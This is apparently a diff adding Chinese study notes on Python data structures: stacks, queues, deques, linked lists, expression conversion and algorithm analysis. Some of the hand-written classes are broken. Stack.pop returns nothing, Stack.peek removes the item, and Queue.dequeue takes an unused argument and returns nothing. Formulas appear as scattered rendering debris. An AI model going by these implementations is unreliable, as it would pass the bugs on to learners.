|
newden = self.den * otherfraction.den
|
||||||
|
common = gcd(newnum,newden)
|
||||||
|
return Fraction(newnum//common,newden//common)
|
||||||
|
|
||||||
|
def __eq__(self, other):
|
||||||
|
"""
|
||||||
|
覆盖__eq__方法,通过相同的值创建深相等,而不是相同的引用
|
||||||
|
即"==",返回bool值
|
||||||
|
"""
|
||||||
|
firstnum = self.num * other.den
|
||||||
|
secondnum = other.num * self.den
|
||||||
|
|
||||||
|
return firstnum == secondnum
|
||||||
|
|
||||||
|
x = Fraction(1,2)
|
||||||
|
y = Fraction(2,3)
|
||||||
|
print(x+y)
|
||||||
|
print(x == y)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
7/6
|
||||||
|
False
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 面向对象编程详见专题笔记
|
||||||
|
|
||||||
|
## 总结
|
|
@ -0,0 +1,455 @@
|
||||||
|
# 原创
|
||||||
|
: Python数据结构(三)——基本数据结构
|
||||||
|
|
||||||
|
# Python数据结构(三)——基本数据结构
|
||||||
|
|
||||||
|
# 基本数据结构
|
||||||
|
|
||||||
|
# Contents
|
||||||
|
|
||||||
|
## 栈
|
||||||
|
|
||||||
|
### 简介
|
||||||
|
|
||||||
|
### Python实现栈
|
||||||
|
|
||||||
|
```
|
||||||
|
class Stack:
|
||||||
|
def __init__(self):
|
||||||
|
self.items = []
|
||||||
|
|
||||||
|
def isEmpty(self):
|
||||||
|
return self.items == []
|
||||||
|
def push(self,item):
|
||||||
|
self.items.append(item)
|
||||||
|
def pop(self):
|
||||||
|
self.items.pop()
|
||||||
|
def peek(self):
|
||||||
|
return self.items.pop()
|
||||||
|
def size(self):
|
||||||
|
return len(self.items)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 创建一个空栈
|
||||||
|
s = Stack()
|
||||||
|
print s.isEmpty()
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
True
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
s.push(4)
|
||||||
|
s.push('dog')
|
||||||
|
s.items
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[4, 'dog']
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 简单括号匹配
|
||||||
|
|
||||||
|
给出一个表达式(5+6)∗(7+8)/(4+3),如何判断它的括号是否匹配,给出一个空栈,如果是’(‘就入栈,如果是’(‘就出栈,最后的栈如果是空栈则括号匹配,否则不匹配
|
||||||
|
|
||||||
|
```
|
||||||
|
from pythonds.basic.stack import Stack
|
||||||
|
|
||||||
|
def parChecker(symbolString):
|
||||||
|
s = Stack()
|
||||||
|
balanced = True
|
||||||
|
index = 0
|
||||||
|
while index < len(symbolString) and balanced:
|
||||||
|
symbol = symbolString[index]
|
||||||
|
if symbol == "(":
|
||||||
|
s.push(symbol)
|
||||||
|
elif symbol == ")":
|
||||||
|
# 空栈不能弹栈
|
||||||
|
if s.isEmpty():
|
||||||
|
balanced = False
|
||||||
|
else:
|
||||||
|
s.pop()
|
||||||
|
|
||||||
|
index = index + 1
|
||||||
|
|
||||||
|
# 两个条件,前面的"("匹配成功并且s为空栈
|
||||||
|
if balanced and s.isEmpty():
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
print(parChecker('(2((3)2))'))
|
||||||
|
print(parChecker('(2(3)'))
|
||||||
|
print(parChecker('((((2(3)'))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
True
|
||||||
|
False
|
||||||
|
False
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 符号匹配
|
||||||
|
|
||||||
|
在 Python 中,方括号 [ 和 ] 用于列表,花括号 { 和 } 用于字典。括号 ( 和 ) 用于元祖和算术表达式。只要每个符号都能保持自己的开始和结束关系,就可以混合符号
|
||||||
|
|
||||||
|
```
|
||||||
|
from pythonds.basic.stack import Stack
|
||||||
|
def parChecker(string):
|
||||||
|
s = Stack()
|
||||||
|
balanced = True
|
||||||
|
index = 0
|
||||||
|
|
||||||
|
while index<len(string) and balanced:
|
||||||
|
symbol = string[index]
|
||||||
|
if symbol in "([{":
|
||||||
|
s.push(symbol)
|
||||||
|
elif symbol in ")}]":
|
||||||
|
if s.isEmpty():
|
||||||
|
balanced = False
|
||||||
|
else:
|
||||||
|
top = s.pop()
|
||||||
|
if not matches(top,symbol):
|
||||||
|
balanced = False
|
||||||
|
|
||||||
|
index += 1
|
||||||
|
|
||||||
|
if balanced and s.isEmpty():
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def matches(open,close):
|
||||||
|
opens = "([{"
|
||||||
|
closers = ")]}"
|
||||||
|
return opens.index(open) == closers.index(close)
|
||||||
|
|
||||||
|
print(parChecker('{{([][])}()}'))
|
||||||
|
print(parChecker('[{()]'))
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
True
|
||||||
|
False
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 十进制转换成二进制
|
||||||
|
|
||||||
|
```
|
||||||
|
from pythonds.basic.stack import Stack
|
||||||
|
def divideBy2(number):
|
||||||
|
remstack = Stack()
|
||||||
|
|
||||||
|
while number>0:
|
||||||
|
rem = number%2
|
||||||
|
# 入栈
|
||||||
|
remstack.push(rem)
|
||||||
|
number //= 2
|
||||||
|
binString = ''
|
||||||
|
while not remstack.isEmpty():
|
||||||
|
# 出栈
|
||||||
|
binString += str(remstack.pop())
|
||||||
|
return binString
|
||||||
|
print divideBy2(7)
|
||||||
|
print divideBy2(43)
|
||||||
|
print divideBy2(6)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
111
|
||||||
|
101011
|
||||||
|
110
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
更进一步,将基数2变为任意基数2-16
|
||||||
|
|
||||||
|
```
|
||||||
|
def baseConverter(number,base):
|
||||||
|
digits = "0123456789ABCDEF"
|
||||||
|
remstack = Stack()
|
||||||
|
|
||||||
|
while number > 0:
|
||||||
|
rem = number%base
|
||||||
|
remstack.push(rem)
|
||||||
|
number //= base
|
||||||
|
|
||||||
|
newString = ''
|
||||||
|
while not remstack.isEmpty():
|
||||||
|
newString += digits[remstack.pop()]
|
||||||
|
return newString
|
||||||
|
print(baseConverter(30,2))
|
||||||
|
print(baseConverter(30,16))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
11110
|
||||||
|
1E
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 中缀前缀和后缀表达式
|
||||||
|
|
||||||
|
我们生活中一般接触到的都是中缀运算符,所以不作介绍,而前缀和后缀运算符与中缀运算符的转换见下表: <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180729163838.png" title=""/> <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180729164150.png" title=""/>
|
||||||
|
|
||||||
|
#### 中缀转后缀算法
|
||||||
|
|
||||||
|
假设中缀表达式是一个由空格分隔的标记字符串。 操作符标记是`*,/,+和 -` ,以及左右括号。操作数是单字符 A,B,C 等。 以下步骤将后缀顺序生成一个字符串: <br/> * 创建一个名为 `opstack` 的空栈以保存运算符。给输出创建一个空列表。 <br/> * 通过使用字符串方法拆分将输入的中缀字符串转换为标记列表。 <br/> * 从左到右扫描标记列表。 <br/> * 如果标记是操作数,将其附加到输出列表的末尾。 <br/> * 如果标记是左括号,将其压到 opstack 上。 <br/> * 如果标记是右括号,则弹出 opstack,直到删除相应的左括号。将每个运算符附加到输出列表的末尾。 <br/> * 如果标记是运算符,`*,/,+或 -`,将其压入 `opstack`。但是,首先删除已经在 opstack 中具有更高或相等优先级的任何运算符,并将它们加到输出列表中。 <br/> * 当输入表达式被完全处理时,检查 opstack。仍然在栈上的任何运算符都可以删除并加到输出列表的末尾。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180729170448.png" title=""/>
|
||||||
|
|
||||||
|
```
|
||||||
|
from pythonds.basic.stack import Stack
|
||||||
|
def infixToPostfix(infixexpr):
|
||||||
|
# 优先级字典
|
||||||
|
prec = {}
|
||||||
|
prec["*"] = 3
|
||||||
|
prec["/"] = 3
|
||||||
|
prec["+"] = 2
|
||||||
|
prec["-"] = 2
|
||||||
|
prec["("] = 1
|
||||||
|
opStack = Stack()
|
||||||
|
postfixList = []
|
||||||
|
# 空格分隔的表达式
|
||||||
|
tokenList = infixexpr.split()
|
||||||
|
|
||||||
|
for token in tokenList:
|
||||||
|
# 操作数
|
||||||
|
if token in "ABCDEFGHIJKLMNOPQRSTUVWXYZ" or token in "0123456789":
|
||||||
|
postfixList.append(token)
|
||||||
|
# 括号
|
||||||
|
elif token == "(":
|
||||||
|
opStack.push(token)
|
||||||
|
elif token == ")":
|
||||||
|
topToken = opStack.pop()
|
||||||
|
while topToken != '(':
|
||||||
|
postfixList.append(topToken)
|
||||||
|
topToken = opStack.pop()
|
||||||
|
# 操作符
|
||||||
|
else:
|
||||||
|
# 栈顶优先级大于当前操作符,并且栈不为空,弹栈加入输出列表
|
||||||
|
# 并且将当前操作符入栈
|
||||||
|
while (not opStack.isEmpty()) and (prec[opStack.peek()] >= prec[token]):
|
||||||
|
postfixList.append(opStack.pop())
|
||||||
|
opStack.push(token)
|
||||||
|
# 操作符栈不为空,全部弹出并加入输出链表
|
||||||
|
while not opStack.isEmpty():
|
||||||
|
postfixList.append(opStack.pop())
|
||||||
|
|
||||||
|
# 以空格为界加上去
|
||||||
|
return " ".join(postfixList)
|
||||||
|
|
||||||
|
print(infixToPostfix("A * B + C * D"))
|
||||||
|
print(infixToPostfix("( A + B ) * C - ( D - E ) * ( F + G )"))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
A B * C D * +
|
||||||
|
A B + C * D E - F G + * -
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 后缀表达式求值
|
||||||
|
|
||||||
|
例如计算:`4 5 6 * +` <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180729184244.png" title=""/>
|
||||||
|
|
||||||
|
思路: <br/> 假设后缀表达式是一个由空格分隔的标记字符串。 运算符为`*,/,+和 -`,操作数假定为单个整数值。 输出将是一个整数结果。
|
||||||
|
|
||||||
|
```
|
||||||
|
from pythonds.basic.stack import Stack
|
||||||
|
def postfixEval(postfixExpr):
|
||||||
|
openrandStack = Stack()
|
||||||
|
tokenList = postfixExpr.split()
|
||||||
|
|
||||||
|
for token in tokenList:
|
||||||
|
if token in "0123456789":
|
||||||
|
openrandStack.push(int(token))
|
||||||
|
else:
|
||||||
|
operand2 = openrandStack.pop()
|
||||||
|
operand1 = openrandStack.pop()
|
||||||
|
result = doMath(token,operand1,operand2)
|
||||||
|
openrandStack.push(result)
|
||||||
|
return openrandStack.pop()
|
||||||
|
|
||||||
|
def doMath(op,op1,op2):
|
||||||
|
if op == "*":
|
||||||
|
return op1*op2
|
||||||
|
elif op == "/":
|
||||||
|
if op2 == 0:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
return op1/op2
|
||||||
|
elif op == "+":
|
||||||
|
return op1+op2
|
||||||
|
elif op == "-":
|
||||||
|
return op1-op2
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
print postfixEval('7 8 + 3 2 + /')
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
3
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 队列
|
||||||
|
|
||||||
|
### 简介
|
||||||
|
|
||||||
|
添加新项的一端称为队尾,移除项的一端称为队首,先进先出(FIFO) <br/> * `Queue()` 创建一个空的新队列。 它不需要参数,并返回一个空队列。 <br/> * `enqueue(item)` 将新项添加到队尾。 它需要 item 作为参数,并不返回任何内容。 <br/> * `dequeue()`从队首移除项。它不需要参数并返回 item。 队列被修改。 <br/> * `isEmpty()` 查看队列是否为空。它不需要参数,并返回布尔值。 <br/> * `size()`返回队列中的项数。它不需要参数,并返回一个整数。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180729190741.png" title=""/>
|
||||||
|
|
||||||
|
### Python实现队列
|
||||||
|
|
||||||
|
假定队尾在列表中的位置为 0,入队(队尾)为 O(n),出队为 O(1)。
|
||||||
|
|
||||||
|
```
|
||||||
|
class Queue():
|
||||||
|
def __init__(self):
|
||||||
|
self.items = []
|
||||||
|
def isEmpty(self):
|
||||||
|
return self.items == []
|
||||||
|
def enqueue(self,item):
|
||||||
|
self.items.insert(0,item)
|
||||||
|
def dequeue(self,item):
|
||||||
|
self.items.pop()
|
||||||
|
def size(self):
|
||||||
|
return len(self.items)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
q = Queue()
|
||||||
|
q.enqueue(888)
|
||||||
|
q.enqueue('11e')
|
||||||
|
print q.size()
|
||||||
|
print q.items
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
2
|
||||||
|
['11e', 888]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 模拟:烫手山芋
|
||||||
|
|
||||||
|
首先,让我们看看孩子们的游戏烫手山芋,在这个游戏中,孩子们围成一个圈,并尽可能快的将一个山芋递给旁边的孩子。在某一个时间,动作结束,有山芋的孩子从圈中移除。游戏继续开始直到剩下最后一个孩子。
|
||||||
|
|
||||||
|
```
|
||||||
|
from pythonds.basic.queue import Queue
|
||||||
|
def hotPotato(namelist,num):
|
||||||
|
simqueue = Queue()
|
||||||
|
for name in namelist:
|
||||||
|
simqueue.enqueue(name)
|
||||||
|
while simqueue.size()>1:
|
||||||
|
for i in range(num):
|
||||||
|
simqueue.enqueue(simqueue.dequeue())
|
||||||
|
simqueue.dequeue()
|
||||||
|
return simqueue.dequeue()
|
||||||
|
print(hotPotato(["Bill","David","Susan","Jane","Kent","Brad"],7))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Susan
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 双端队列Deque
|
||||||
|
|
||||||
|
### 简介
|
||||||
|
|
||||||
|
### Python实现Deque
|
||||||
|
|
||||||
|
```
|
||||||
|
class Deque:
|
||||||
|
def __init__(self):
|
||||||
|
self.items = []
|
||||||
|
def isEmpty(self):
|
||||||
|
return self.items == []
|
||||||
|
def addFront(self,item):
|
||||||
|
self.items.append(item)
|
||||||
|
def addRear(self,item):
|
||||||
|
self.items.insert(0,item)
|
||||||
|
def removeFront(self):
|
||||||
|
return self.items.pop()
|
||||||
|
def removeRear(self):
|
||||||
|
return self.items.pop(0)
|
||||||
|
def size(self):
|
||||||
|
return len(self.items)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 回文检查
|
||||||
|
|
||||||
|
如`radar toot madam`,我们先将字符串存入deque,如果队首队尾元素相同,删除队首队尾,直至只剩下一个字符或者0个字符
|
||||||
|
|
||||||
|
```
|
||||||
|
from pythonds.basic.deque import Deque
|
||||||
|
def palchecker(astring):
|
||||||
|
chardeque = Deque()
|
||||||
|
for ch in astring:
|
||||||
|
chardeque.addRear(ch)
|
||||||
|
stillEqual = True
|
||||||
|
|
||||||
|
while chardeque.size()>1 and stillEqual:
|
||||||
|
first = chardeque.removeFront()
|
||||||
|
last = chardeque.removeRear()
|
||||||
|
if first != last:
|
||||||
|
stillEqual = False
|
||||||
|
return stillEqual
|
||||||
|
print(palchecker("lsdkjfskf"))
|
||||||
|
print(palchecker("radar"))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
False
|
||||||
|
True
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 无序列表
|
||||||
|
|
||||||
|
### 简介
|
||||||
|
|
||||||
|
### 实现无序列表:链表
|
||||||
|
|
||||||
|
```
|
||||||
|
# 定义链表结点
|
||||||
|
class Node:
|
||||||
|
def __init__(self,initdata):
|
||||||
|
self.data = initdata
|
||||||
|
self.next = None
|
||||||
|
def getData(self):
|
||||||
|
return self.data
|
||||||
|
def getNext(self):
|
||||||
|
return self.next
|
||||||
|
def setData(self,newdata):
|
||||||
|
self.data = newdata
|
||||||
|
def setNext(self,newnext):
|
||||||
|
self.next = newnext
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
temp = Node(666)
|
||||||
|
temp.getData()
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
666
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 定义无序链表类,只需要指出第一个结点的位置
|
||||||
|
# 空链表
|
||||||
|
class UnorderedList:
|
||||||
|
def __init__(self):
|
||||||
|
self.head = None
|
||||||
|
```
|
||||||
|
|
||||||
|
## 有序列表抽象数据结构
|
|
@ -0,0 +1,422 @@
|
||||||
|
# 原创
|
||||||
|
: Python数据结构(二)——算法分析
|
||||||
|
|
||||||
|
# Python数据结构(二)——算法分析
|
||||||
|
|
||||||
|
# 算法分析
|
||||||
|
|
||||||
|
# Contents
|
||||||
|
|
||||||
|
## 一个例子
|
||||||
|
|
||||||
|
>
|
||||||
|
对简单的 `Python` 程序做基准测试`benchmark`
|
||||||
|
|
||||||
|
|
||||||
|
问题:计算前 n 个整数的和
|
||||||
|
|
||||||
|
```
|
||||||
|
# version1
|
||||||
|
def sumOfN(n):
|
||||||
|
theSum = 0
|
||||||
|
for i in range(1,n+1):
|
||||||
|
theSum += i
|
||||||
|
return theSum
|
||||||
|
print sumOfN(10)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
55
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# version2
|
||||||
|
def foo(tom):
|
||||||
|
fred = 0
|
||||||
|
for bill in range(1,tom+1):
|
||||||
|
# 增加了不必要的赋值语句
|
||||||
|
barney = bill
|
||||||
|
fred += barney
|
||||||
|
return fred
|
||||||
|
print foo(10)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
55
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
我们可以通过基准分析`(benchmark analysis)`来测量函数 `SumOfN` 的执行时间,在 `Python` 中,我们可以通过记录相对于系统的开始时间和结束时间来对函数进行基准测试。
|
||||||
|
|
||||||
|
在 `time` 模块中有一个 `time` 函数,它可以在任意被调用的地方返回系统时钟的当前时间(以秒为单位)。
|
||||||
|
|
||||||
|
```
|
||||||
|
# version1
|
||||||
|
import time
|
||||||
|
|
||||||
|
def sumOfN2(n):
|
||||||
|
start = time.time()
|
||||||
|
theSum = 0
|
||||||
|
for i in range(1,n+1):
|
||||||
|
theSum += i
|
||||||
|
end =time.time()
|
||||||
|
return theSum,end-start
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
for i in range(5):
|
||||||
|
print("Sum is %d required %10.7f seconds"%sumOfN2(100000))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Sum is 5000050000 required 0.0139999 seconds
|
||||||
|
Sum is 5000050000 required 0.0090001 seconds
|
||||||
|
Sum is 5000050000 required 0.0090001 seconds
|
||||||
|
Sum is 5000050000 required 0.0079999 seconds
|
||||||
|
Sum is 5000050000 required 0.0079999 seconds
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# version2
|
||||||
|
def foo2(tom):
|
||||||
|
start = time.time()
|
||||||
|
fred = 0
|
||||||
|
for bill in range(1,tom+1):
|
||||||
|
# 增加了不必要的赋值语句
|
||||||
|
barney = bill
|
||||||
|
fred += barney
|
||||||
|
end = time.time()
|
||||||
|
return fred,end-start
|
||||||
|
for i in range(5):
|
||||||
|
print("Sum is %d required %10.7f seconds"%foo2(100000))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Sum is 5000050000 required 0.0100000 seconds
|
||||||
|
Sum is 5000050000 required 0.0119998 seconds
|
||||||
|
Sum is 5000050000 required 0.0100000 seconds
|
||||||
|
Sum is 5000050000 required 0.0100000 seconds
|
||||||
|
Sum is 5000050000 required 0.0090001 seconds
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# version3
|
||||||
|
def sumOfN3(n):
|
||||||
|
start =time.time()
|
||||||
|
s= (n*(n+1))/2
|
||||||
|
end = time.time()
|
||||||
|
return s,end-start
|
||||||
|
for i in range(5):
|
||||||
|
print("Sum is %d required %10.7f seconds"%sumOfN3(1000))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Sum is 500500 required 0.0000000 seconds
|
||||||
|
Sum is 500500 required 0.0000000 seconds
|
||||||
|
Sum is 500500 required 0.0000000 seconds
|
||||||
|
Sum is 500500 required 0.0000000 seconds
|
||||||
|
Sum is 500500 required 0.0000000 seconds
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 大O符号
|
||||||
|
|
||||||
|
```
|
||||||
|
import numpy as np
|
||||||
|
import matplotlib.pyplot as plt
|
||||||
|
%matplotlib inline
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
n = np.linspace(0.1, 10)
|
||||||
|
f = plt.figure(figsize=(10,6), dpi=80)
|
||||||
|
plt.plot(n,n,label = '$n$')
|
||||||
|
plt.plot(n,np.log(n),label = '$\logn$')
|
||||||
|
plt.plot(n,n*np.log(n),label = '$n*\logn$')
|
||||||
|
plt.plot(n,n**2,label = '$n^2$')
|
||||||
|
plt.plot(n,n**3,label = '$n^3$')
|
||||||
|
plt.plot(n,2**n,label = '$2^n$')
|
||||||
|
p = plt.xlim(0,10)
|
||||||
|
p = plt.ylim(0,50)
|
||||||
|
plt.grid(True)
|
||||||
|
plt.legend()
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
<matplotlib.legend.Legend at 0xbecfaf0>
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
算法时间复杂度取
|
||||||
|
f(n)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
f
|
||||||
|
|
||||||
|
|
||||||
|
(
|
||||||
|
|
||||||
|
|
||||||
|
n
|
||||||
|
|
||||||
|
|
||||||
|
)
|
||||||
|
|
||||||
|
的最大项,也就是当n趋于无穷大时的最大项,忽略系数,用
|
||||||
|
O(f(n))
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
O
|
||||||
|
|
||||||
|
|
||||||
|
(
|
||||||
|
|
||||||
|
|
||||||
|
f
|
||||||
|
|
||||||
|
|
||||||
|
(
|
||||||
|
|
||||||
|
|
||||||
|
n
|
||||||
|
|
||||||
|
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
)
|
||||||
|
|
||||||
|
表示
|
||||||
|
|
||||||
|
## 乱序字符串例子
|
||||||
|
|
||||||
|
### Method 1:检查
|
||||||
|
|
||||||
|
思路: <br/> * 检查第一个字符串是否出现在第二个字符串中,如果可以检测到每一个字符,那么这两个字符串就是乱序. <br/> * Python字符串不可变,先将它变为可变的列表.
|
||||||
|
|
||||||
|
```
|
||||||
|
def founction1(s1,s2):
|
||||||
|
alist = list(s2)
|
||||||
|
pos1 = 0
|
||||||
|
stillOK = True
|
||||||
|
|
||||||
|
while pos1<len(s1) and stillOK:
|
||||||
|
pos2 = 0
|
||||||
|
found = False
|
||||||
|
while pos2<len(alist) and not found:
|
||||||
|
if s1[pos1]==alist[pos2]:
|
||||||
|
found = True
|
||||||
|
else:
|
||||||
|
pos2 += 1
|
||||||
|
if found:
|
||||||
|
# 将找到的字符设置为None,避免重复遍历
|
||||||
|
alist[pos2]=None
|
||||||
|
else:
|
||||||
|
stillOK = False
|
||||||
|
pos1 += 1
|
||||||
|
return stillOK
|
||||||
|
print founction1('abcd','dcab')
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
True
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
算法分析:s1每个字符在s2中最多进行n个字符的迭代,s2列表中的每个位置将被访问一次来匹配来自s1的字符串,即: <br/> <img alt="imag" src="https://github.com/facert/python-data-structure-cn/raw/master/2.%E7%AE%97%E6%B3%95%E5%88%86%E6%9E%90/2.4.%E4%B8%80%E4%B8%AA%E4%B9%B1%E5%BA%8F%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%A3%80%E6%9F%A5%E7%9A%84%E4%BE%8B%E5%AD%90/assets/2.4.1%20%E6%B1%82%E5%92%8C.png" title=""/> <br/> 所以算法时间复杂度为:
|
||||||
|
O(n2)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
O
|
||||||
|
|
||||||
|
|
||||||
|
(
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
n
|
||||||
|
|
||||||
|
|
||||||
|
2
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Method 2:排序比较
|
||||||
|
|
||||||
|
思路:由于我们是要判断两个字符串是不是由完全相同的字符组成,所以我们可以先将他们排序,排序后如果
|
||||||
|
s1==s2
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
s
|
||||||
|
|
||||||
|
|
||||||
|
1
|
||||||
|
|
||||||
|
|
||||||
|
==
|
||||||
|
|
||||||
|
|
||||||
|
s
|
||||||
|
|
||||||
|
|
||||||
|
2
|
||||||
|
|
||||||
|
,那么这两个字符串就是乱序字符串.
|
||||||
|
|
||||||
|
```
|
||||||
|
def founction2(s1,s2):
|
||||||
|
list_1 = list(s1)
|
||||||
|
list_2 = list(s2)
|
||||||
|
list_1.sort()
|
||||||
|
list_2.sort()
|
||||||
|
|
||||||
|
match = True
|
||||||
|
|
||||||
|
if list_1!=list_2:
|
||||||
|
match = False
|
||||||
|
return match
|
||||||
|
# pos = 0
|
||||||
|
# match = True
|
||||||
|
# while pos<len(s1) and match:
|
||||||
|
# if list_1[pos]==list_2[pos]:
|
||||||
|
# pos +=1
|
||||||
|
# else:
|
||||||
|
# match = False
|
||||||
|
# return match
|
||||||
|
print founction2("abcde","edcba")
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
True
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
算法分析:调用`python`的排序函数有时间成本,通常为`O(n^2) 或 O(nlogn)`,所以排序操作比迭代花费更多。最后该算法跟排序过程有同样的量级。
|
||||||
|
|
||||||
|
### 穷举法
|
||||||
|
|
||||||
|
思路:生成
|
||||||
|
s1
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
s
|
||||||
|
|
||||||
|
|
||||||
|
1
|
||||||
|
|
||||||
|
的所有乱序字符串列表,然后查看是不是有
|
||||||
|
s2
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
s
|
||||||
|
|
||||||
|
|
||||||
|
2
|
||||||
|
|
||||||
|
,这种序列有
|
||||||
|
n!
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
n
|
||||||
|
|
||||||
|
|
||||||
|
!
|
||||||
|
|
||||||
|
种,
|
||||||
|
n!
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
n
|
||||||
|
|
||||||
|
|
||||||
|
!
|
||||||
|
|
||||||
|
比
|
||||||
|
n2
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
n
|
||||||
|
|
||||||
|
|
||||||
|
2
|
||||||
|
|
||||||
|
|
||||||
|
增长更快。
|
||||||
|
|
||||||
|
### 计数和比较
|
||||||
|
|
||||||
|
思路:利用两个乱序字符串具有相同数目的 a, b, c 等字符的事实,首先计算的是每个字母出现的次数。由于有 26 个可能的字符,我们就用 一个长度为 26 的列表,每个可能的字符占一个位置。每次看到一个特定的字符,就增加该位置的计数器。最后如果两个列表的计数器一样,则字符串为乱序字符串。
|
||||||
|
|
||||||
|
```
|
||||||
|
def founction(s1,s2):
|
||||||
|
c1 = [0]*26
|
||||||
|
c2 = [0]*26
|
||||||
|
|
||||||
|
for i in range(len(s1)):
|
||||||
|
pos = ord(s1[i])-ord('a')
|
||||||
|
c1[pos] += 1
|
||||||
|
|
||||||
|
for i in range(len(s2)):
|
||||||
|
pos = ord(s2[i])-ord('a')
|
||||||
|
c2[pos] += 1
|
||||||
|
|
||||||
|
j = 0
|
||||||
|
stillOK = True
|
||||||
|
while j<26 and stillOK:
|
||||||
|
if c1[j]==c2[j]:
|
||||||
|
j += 1
|
||||||
|
else:
|
||||||
|
stillOK = False
|
||||||
|
return stillOK
|
||||||
|
print(founction("abcdnf","bcafnd"))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
True
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
算法分析:这个算法它也有迭代,不过不想第一种方法那样有嵌套迭代,它的时间复杂度就为
|
||||||
|
O(n)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
O
|
||||||
|
|
||||||
|
|
||||||
|
(
|
||||||
|
|
||||||
|
|
||||||
|
n
|
||||||
|
|
||||||
|
|
||||||
|
)
|
||||||
|
|
||||||
|
.
|
||||||
|
|
||||||
|
## Python基础模块的性能
|
||||||
|
|
||||||
|
Python 数据结构性能的最新信息:[https://wiki.python.org/moin/TimeComplexity](https://wiki.python.org/moin/TimeComplexity)
|
||||||
|
|
||||||
|
### 列表`[ ]`
|
||||||
|
|
||||||
|
<img alt="imag" src="https://github.com/facert/python-data-structure-cn/raw/61b1080414bf6b4cadb0998dbc2aa6e3bfe96d88/2.%E7%AE%97%E6%B3%95%E5%88%86%E6%9E%90/2.6.%E5%88%97%E8%A1%A8/assets/2.6.%E5%88%97%E8%A1%A8%20Table2.png" title=""/>
|
||||||
|
|
||||||
|
### 字典{ }
|
